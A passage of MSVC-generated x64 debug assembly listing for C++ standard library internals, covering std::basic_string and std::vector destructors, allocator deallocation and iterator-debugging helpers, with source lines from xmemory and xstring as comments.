call ??$?0V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@1@@Z ; std::allocator<std::_Container_proxy>::allocator<std::_Container_proxy><std::basic_string<char,std::char_traits<char>,std::allocator<char> > >
lea rax, QWORD PTR $S6$[rbp]
mov QWORD PTR _Alproxy$[rbp], rax
; 676 : _Delete_plain_internal(_Alproxy, _STD exchange(_Mypair._Myval2._Myproxy, nullptr));
mov QWORD PTR $T4[rbp], 0
mov rax, QWORD PTR this$[rbp]
lea rdx, QWORD PTR $T4[rbp]
mov rcx, rax
call ??$exchange@PEAU_Container_proxy@std@@$$T@std@@YAPEAU_Container_proxy@0@AEAPEAU10@$$QEA$$T@Z ; std::exchange<std::_Container_proxy *,std::nullptr_t>
mov rdx, rax
mov rcx, QWORD PTR _Alproxy$[rbp]
call ??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z ; std::_Delete_plain_internal<std::allocator<std::_Container_proxy> >
; 677 : #endif // _ITERATOR_DEBUG_LEVEL != 0
; 678 : }
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ$rtcFrameData
call _RTC_CheckStackVars
mov rcx, QWORD PTR __$ArrayPad$[rbp]
xor rcx, rbp
call __security_check_cookie
lea rsp, QWORD PTR [rbp+296]
pop rdi
pop rbp
ret 0
??1?$vector@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@std@@QEAA@XZ ENDP ; std::vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >::~vector<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ?deallocate@?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@QEAAXQEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_K@Z
_TEXT SEGMENT
this$ = 224
_Ptr$ = 232
_Count$ = 240
?deallocate@?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@QEAAXQEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_K@Z PROC ; std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >::deallocate, COMDAT
; 808 : void deallocate(_Ty* const _Ptr, const size_t _Count) {
$LN3:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 809 : // no overflow check on the following multiply; we assume _Allocate did that check
; 810 : _Deallocate<_New_alignof<_Ty>>(_Ptr, sizeof(_Ty) * _Count);
imul rax, QWORD PTR _Count$[rbp], 40 ; 00000028H
mov rdx, rax
mov rcx, QWORD PTR _Ptr$[rbp]
call ??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z ; std::_Deallocate<16,0>
; 811 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?deallocate@?$allocator@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@QEAAXQEAV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_K@Z ENDP ; std::allocator<std::basic_string<char,std::char_traits<char>,std::allocator<char> > >::deallocate
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; COMDAT ??_G?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAAPEAXI@Z
_TEXT SEGMENT
this$ = 224
__flags$ = 232
??_G?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAAPEAXI@Z PROC ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::`scalar deleting destructor', COMDAT
$LN4:
mov DWORD PTR [rsp+16], edx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
mov rcx, QWORD PTR this$[rbp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov eax, DWORD PTR __flags$[rbp]
and eax, 1
test eax, eax
je SHORT $LN2@scalar
mov edx, 40 ; 00000028H
mov rcx, QWORD PTR this$[rbp]
call ??3@YAXPEAX_K@Z ; operator delete
$LN2@scalar:
mov rax, QWORD PTR this$[rbp]
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??_G?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAAPEAXI@Z ENDP ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::`scalar deleting destructor'
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; COMDAT ??1?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAA@XZ
_TEXT SEGMENT
this$ = 224
??1?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAA@XZ PROC ; std::_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>::~_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>, COMDAT
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
mov rax, QWORD PTR this$[rbp]
mov rcx, rax
call ??1?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??1?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAA@XZ ENDP ; std::_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>::~_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ?_Get_first@?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAAAEAV?$allocator@D@2@XZ
_TEXT SEGMENT
this$ = 224
?_Get_first@?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAAAEAV?$allocator@D@2@XZ PROC ; std::_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>::_Get_first, COMDAT
; 1346 : constexpr _Ty1& _Get_first() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 1347 : return *this;
mov rax, QWORD PTR this$[rbp]
; 1348 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?_Get_first@?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAAAEAV?$allocator@D@2@XZ ENDP ; std::_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>::_Get_first
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xstring
; COMDAT ?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ
_TEXT SEGMENT
this$ = 224
?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ PROC ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Getal, COMDAT
; 4408 : _Alty& _Getal() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__85A0121E_xstring
call __CheckForDebuggerJustMyCode
; 4409 : return _Mypair._Get_first();
mov rax, QWORD PTR this$[rbp]
mov rcx, rax
call ?_Get_first@?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAAAEAV?$allocator@D@2@XZ ; std::_Compressed_pair<std::allocator<char>,std::_String_val<std::_Simple_types<char> >,1>::_Get_first
; 4410 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ ENDP ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Getal
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xstring
; COMDAT ?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ
_TEXT SEGMENT
_Ptr$1 = 8
_Al$2 = 40
$T3 = 260
this$ = 320
?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ PROC ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Tidy_deallocate, COMDAT
; 4383 : void _Tidy_deallocate() noexcept { // initialize buffer, deallocating any storage
$LN4:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 328 ; 00000148H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 82 ; 00000052H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+360]
lea rcx, OFFSET FLAT:__85A0121E_xstring
call __CheckForDebuggerJustMyCode
; 4384 : _Mypair._Myval2._Orphan_all();
mov rax, QWORD PTR this$[rbp]
mov rcx, rax
call ?_Orphan_all@_Container_base12@std@@QEAAXXZ ; std::_Container_base12::_Orphan_all
; 4385 : if (_Mypair._Myval2._Large_string_engaged()) {
mov rax, QWORD PTR this$[rbp]
mov rcx, rax
call ?_Large_string_engaged@?$_String_val@U?$_Simple_types@D@std@@@std@@QEBA_NXZ ; std::_String_val<std::_Simple_types<char> >::_Large_string_engaged
movzx eax, al
test eax, eax
je SHORT $LN2@Tidy_deall
; 4386 : const pointer _Ptr = _Mypair._Myval2._Bx._Ptr;
mov rax, QWORD PTR this$[rbp]
mov rax, QWORD PTR [rax+8]
mov QWORD PTR _Ptr$1[rbp], rax
; 4387 : auto& _Al = _Getal();
mov rcx, QWORD PTR this$[rbp]
call ?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Getal
mov QWORD PTR _Al$2[rbp], rax
; 4388 : _Destroy_in_place(_Mypair._Myval2._Bx._Ptr);
mov rax, QWORD PTR this$[rbp]
add rax, 8
mov rcx, rax
call ??$_Destroy_in_place@PEAD@std@@YAXAEAPEAD@Z ; std::_Destroy_in_place<char *>
; 4389 : _Al.deallocate(_Ptr, _Mypair._Myval2._Myres + 1);
mov rax, QWORD PTR this$[rbp]
mov rax, QWORD PTR [rax+32]
inc rax
mov r8, rax
mov rdx, QWORD PTR _Ptr$1[rbp]
mov rcx, QWORD PTR _Al$2[rbp]
call ?deallocate@?$allocator@D@std@@QEAAXQEAD_K@Z ; std::allocator<char>::deallocate
$LN2@Tidy_deall:
; 4390 : }
; 4391 :
; 4392 : _Mypair._Myval2._Mysize = 0;
mov rax, QWORD PTR this$[rbp]
mov QWORD PTR [rax+24], 0
; 4393 : _Mypair._Myval2._Myres = _BUF_SIZE - 1;
mov rax, QWORD PTR this$[rbp]
mov QWORD PTR [rax+32], 15
; 4394 : // the _Traits::assign is last so the codegen doesn't think the char write can alias this
; 4395 : _Traits::assign(_Mypair._Myval2._Bx._Buf[0], _Elem());
mov BYTE PTR $T3[rbp], 0
mov eax, 1
imul rax, rax, 0
mov rcx, QWORD PTR this$[rbp]
lea rax, QWORD PTR [rcx+rax+8]
lea rdx, QWORD PTR $T3[rbp]
mov rcx, rax
call ?assign@?$_Narrow_char_traits@DH@std@@SAXAEADAEBD@Z ; std::_Narrow_char_traits<char,int>::assign
npad 1
; 4396 : }
lea rsp, QWORD PTR [rbp+296]
pop rdi
pop rbp
ret 0
?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ ENDP ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Tidy_deallocate
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xstring
; COMDAT ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ
_TEXT SEGMENT
_Alproxy$ = 8
$S14$ = 36
_To_delete$ = 72
__$ArrayPad$ = 280
this$ = 320
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ PROC ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >, COMDAT
; 2800 : ~basic_string() noexcept {
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 328 ; 00000148H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 82 ; 00000052H
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+360]
mov rax, QWORD PTR __security_cookie
xor rax, rbp
mov QWORD PTR __$ArrayPad$[rbp], rax
lea rcx, OFFSET FLAT:__85A0121E_xstring
call __CheckForDebuggerJustMyCode
; 2801 : _Tidy_deallocate();
mov rcx, QWORD PTR this$[rbp]
call ?_Tidy_deallocate@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAXXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Tidy_deallocate
; 2802 : #if _ITERATOR_DEBUG_LEVEL != 0
; 2803 : auto&& _Alproxy = _GET_PROXY_ALLOCATOR(_Alty, _Getal());
mov rcx, QWORD PTR this$[rbp]
call ?_Getal@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AEAAAEAV?$allocator@D@2@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::_Getal
mov rdx, rax
lea rcx, QWORD PTR $S14$[rbp]
call ??$?0D@?$allocator@U_Container_proxy@std@@@std@@QEAA@AEBV?$allocator@D@1@@Z ; std::allocator<std::_Container_proxy>::allocator<std::_Container_proxy><char>
lea rax, QWORD PTR $S14$[rbp]
mov QWORD PTR _Alproxy$[rbp], rax
; 2804 : const auto _To_delete = _Mypair._Myval2._Myproxy;
mov rax, QWORD PTR this$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR _To_delete$[rbp], rax
; 2805 : _Mypair._Myval2._Myproxy = nullptr;
mov rax, QWORD PTR this$[rbp]
mov QWORD PTR [rax], 0
; 2806 : _Delete_plain_internal(_Alproxy, _To_delete);
mov rdx, QWORD PTR _To_delete$[rbp]
mov rcx, QWORD PTR _Alproxy$[rbp]
call ??$_Delete_plain_internal@V?$allocator@U_Container_proxy@std@@@std@@@std@@YAXAEAV?$allocator@U_Container_proxy@std@@@0@QEAU_Container_proxy@0@@Z ; std::_Delete_plain_internal<std::allocator<std::_Container_proxy> >
; 2807 : #endif // _ITERATOR_DEBUG_LEVEL != 0
; 2808 : }
mov rax, QWORD PTR this$[rbp]
mov rcx, rax
call ??1?$_Compressed_pair@V?$allocator@D@std@@V?$_String_val@U?$_Simple_types@D@std@@@2@$00@std@@QEAA@XZ
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ$rtcFrameData
call _RTC_CheckStackVars
mov rcx, QWORD PTR __$ArrayPad$[rbp]
xor rcx, rbp
call __security_check_cookie
lea rsp, QWORD PTR [rbp+296]
pop rdi
pop rbp
ret 0
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QEAA@XZ ENDP ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; COMDAT ??1?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ
_TEXT SEGMENT
this$ = 224
??1?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ PROC ; std::_String_val<std::_Simple_types<char> >::~_String_val<std::_Simple_types<char> >, COMDAT
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
mov rax, QWORD PTR this$[rbp]
add rax, 8
mov rcx, rax
call ??1_Bxty@?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ ; std::_String_val<std::_Simple_types<char> >::_Bxty::~_Bxty
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??1?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ ENDP ; std::_String_val<std::_Simple_types<char> >::~_String_val<std::_Simple_types<char> >
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xstring
; COMDAT ??1_Bxty@?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ
_TEXT SEGMENT
this$ = 224
??1_Bxty@?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ PROC ; std::_String_val<std::_Simple_types<char> >::_Bxty::~_Bxty, COMDAT
; 2254 : ~_Bxty() noexcept {} // user-provided, for fancy pointers
$LN3:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__85A0121E_xstring
call __CheckForDebuggerJustMyCode
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
??1_Bxty@?$_String_val@U?$_Simple_types@D@std@@@std@@QEAA@XZ ENDP ; std::_String_val<std::_Simple_types<char> >::_Bxty::~_Bxty
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xstring
; COMDAT ?_Large_string_engaged@?$_String_val@U?$_Simple_types@D@std@@@std@@QEBA_NXZ
_TEXT SEGMENT
tv66 = 192
this$ = 240
?_Large_string_engaged@?$_String_val@U?$_Simple_types@D@std@@@std@@QEBA_NXZ PROC ; std::_String_val<std::_Simple_types<char> >::_Large_string_engaged, COMDAT
; 2226 : bool _Large_string_engaged() const noexcept {
$LN5:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 248 ; 000000f8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 62 ; 0000003eH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+280]
lea rcx, OFFSET FLAT:__85A0121E_xstring
call __CheckForDebuggerJustMyCode
; 2227 : return _BUF_SIZE <= _Myres;
mov rax, QWORD PTR this$[rbp]
cmp QWORD PTR [rax+32], 16
jb SHORT $LN3@Large_stri
mov DWORD PTR tv66[rbp], 1
jmp SHORT $LN4@Large_stri
$LN3@Large_stri:
mov DWORD PTR tv66[rbp], 0
$LN4@Large_stri:
movzx eax, BYTE PTR tv66[rbp]
; 2228 : }
lea rsp, QWORD PTR [rbp+216]
pop rdi
pop rbp
ret 0
?_Large_string_engaged@?$_String_val@U?$_Simple_types@D@std@@@std@@QEBA_NXZ ENDP ; std::_String_val<std::_Simple_types<char> >::_Large_string_engaged
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xstring
; COMDAT ?assign@?$_Narrow_char_traits@DH@std@@SAXAEADAEBD@Z
_TEXT SEGMENT
_Left$ = 224
_Right$ = 232
?assign@?$_Narrow_char_traits@DH@std@@SAXAEADAEBD@Z PROC ; std::_Narrow_char_traits<char,int>::assign, COMDAT
; 427 : static _CONSTEXPR17 void assign(_Elem& _Left, const _Elem& _Right) noexcept {
$LN3:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__85A0121E_xstring
call __CheckForDebuggerJustMyCode
; 428 : _Left = _Right;
mov rax, QWORD PTR _Left$[rbp]
mov rcx, QWORD PTR _Right$[rbp]
movzx ecx, BYTE PTR [rcx]
mov BYTE PTR [rax], cl
; 429 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?assign@?$_Narrow_char_traits@DH@std@@SAXAEADAEBD@Z ENDP ; std::_Narrow_char_traits<char,int>::assign
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ?deallocate@?$allocator@D@std@@QEAAXQEAD_K@Z
_TEXT SEGMENT
this$ = 224
_Ptr$ = 232
_Count$ = 240
?deallocate@?$allocator@D@std@@QEAAXQEAD_K@Z PROC ; std::allocator<char>::deallocate, COMDAT
; 808 : void deallocate(_Ty* const _Ptr, const size_t _Count) {
$LN3:
mov QWORD PTR [rsp+24], r8
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 232 ; 000000e8H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 58 ; 0000003aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+264]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 809 : // no overflow check on the following multiply; we assume _Allocate did that check
; 810 : _Deallocate<_New_alignof<_Ty>>(_Ptr, sizeof(_Ty) * _Count);
mov rdx, QWORD PTR _Count$[rbp]
mov rcx, QWORD PTR _Ptr$[rbp]
call ??$_Deallocate@$0BA@$0A@@std@@YAXPEAX_K@Z ; std::_Deallocate<16,0>
; 811 : }
lea rsp, QWORD PTR [rbp+200]
pop rdi
pop rbp
ret 0
?deallocate@?$allocator@D@std@@QEAAXQEAD_K@Z ENDP ; std::allocator<char>::deallocate
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ?_Orphan_all@_Container_base12@std@@QEAAXXZ
_TEXT SEGMENT
_Lock$4 = 4
_Pnext$5 = 40
__$ArrayPad$ = 248
this$ = 288
?_Orphan_all@_Container_base12@std@@QEAAXXZ PROC ; std::_Container_base12::_Orphan_all, COMDAT
; 1210 : inline void _Container_base12::_Orphan_all() noexcept {
$LN7:
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 296 ; 00000128H
lea rbp, QWORD PTR [rsp+32]
mov rdi, rsp
mov ecx, 74 ; 0000004aH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+328]
mov rax, QWORD PTR __security_cookie
xor rax, rbp
mov QWORD PTR __$ArrayPad$[rbp], rax
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 1211 : #if _ITERATOR_DEBUG_LEVEL == 2
; 1212 : if (_Myproxy) { // proxy allocated, drain it
mov rax, QWORD PTR this$[rbp]
cmp QWORD PTR [rax], 0
je SHORT $LN5@Orphan_all
; 1213 : _Lockit _Lock(_LOCK_DEBUG);
mov edx, 3
lea rcx, QWORD PTR _Lock$4[rbp]
call QWORD PTR __imp_??0_Lockit@std@@QEAA@H@Z
; 1214 :
; 1215 : for (auto _Pnext = &_Myproxy->_Myfirstiter; *_Pnext; *_Pnext = (*_Pnext)->_Mynextiter) {
mov rax, QWORD PTR this$[rbp]
mov rax, QWORD PTR [rax]
add rax, 8
mov QWORD PTR _Pnext$5[rbp], rax
jmp SHORT $LN4@Orphan_all
$LN2@Orphan_all:
mov rax, QWORD PTR _Pnext$5[rbp]
mov rax, QWORD PTR [rax]
mov rcx, QWORD PTR _Pnext$5[rbp]
mov rax, QWORD PTR [rax+8]
mov QWORD PTR [rcx], rax
$LN4@Orphan_all:
mov rax, QWORD PTR _Pnext$5[rbp]
cmp QWORD PTR [rax], 0
je SHORT $LN3@Orphan_all
; 1216 : (*_Pnext)->_Myproxy = nullptr;
mov rax, QWORD PTR _Pnext$5[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR [rax], 0
; 1217 : }
jmp SHORT $LN2@Orphan_all
$LN3@Orphan_all:
; 1218 :
; 1219 : _Myproxy->_Myfirstiter = nullptr;
mov rax, QWORD PTR this$[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR [rax+8], 0
; 1220 : }
lea rcx, QWORD PTR _Lock$4[rbp]
call QWORD PTR __imp_??1_Lockit@std@@QEAA@XZ
$LN5@Orphan_all:
; 1221 : #endif // _ITERATOR_DEBUG_LEVEL == 2
; 1222 : }
lea rcx, QWORD PTR [rbp-32]
lea rdx, OFFSET FLAT:?_Orphan_all@_Container_base12@std@@QEAAXXZ$rtcFrameData
call _RTC_CheckStackVars
mov rcx, QWORD PTR __$ArrayPad$[rbp]
xor rcx, rbp
call __security_check_cookie
lea rsp, QWORD PTR [rbp+264]
pop rdi
pop rbp
ret 0
?_Orphan_all@_Container_base12@std@@QEAAXXZ ENDP ; std::_Container_base12::_Orphan_all
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu /ZI
; File C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.28.29333\include\xmemory
; COMDAT ?_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z
_TEXT SEGMENT
_Ptr_user$ = 8
_Ptr_container$ = 40
_Min_back_shift$ = 72
_Back_shift$ = 104
_Ptr$ = 352
_Bytes$ = 360
?_Adjust_manually_vector_aligned@std@@YAXAEAPEAXAEA_K@Z PROC ; std::_Adjust_manually_vector_aligned, COMDAT
; 132 : inline void _Adjust_manually_vector_aligned(void*& _Ptr, size_t& _Bytes) {
$LN21:
mov QWORD PTR [rsp+16], rdx
mov QWORD PTR [rsp+8], rcx
push rbp
push rdi
sub rsp, 376 ; 00000178H
lea rbp, QWORD PTR [rsp+48]
mov rdi, rsp
mov ecx, 94 ; 0000005eH
mov eax, -858993460 ; ccccccccH
rep stosd
mov rcx, QWORD PTR [rsp+408]
lea rcx, OFFSET FLAT:__F1739482_xmemory
call __CheckForDebuggerJustMyCode
; 133 : // adjust parameters from _Allocate_manually_vector_aligned to pass to operator delete
; 134 : _Bytes += _Non_user_size;
mov rax, QWORD PTR _Bytes$[rbp]
mov rax, QWORD PTR [rax]
add rax, 47 ; 0000002fH
mov rcx, QWORD PTR _Bytes$[rbp]
mov QWORD PTR [rcx], rax
; 135 :
; 136 : const uintptr_t* const _Ptr_user = reinterpret_cast<uintptr_t*>(_Ptr);
mov rax, QWORD PTR _Ptr$[rbp]
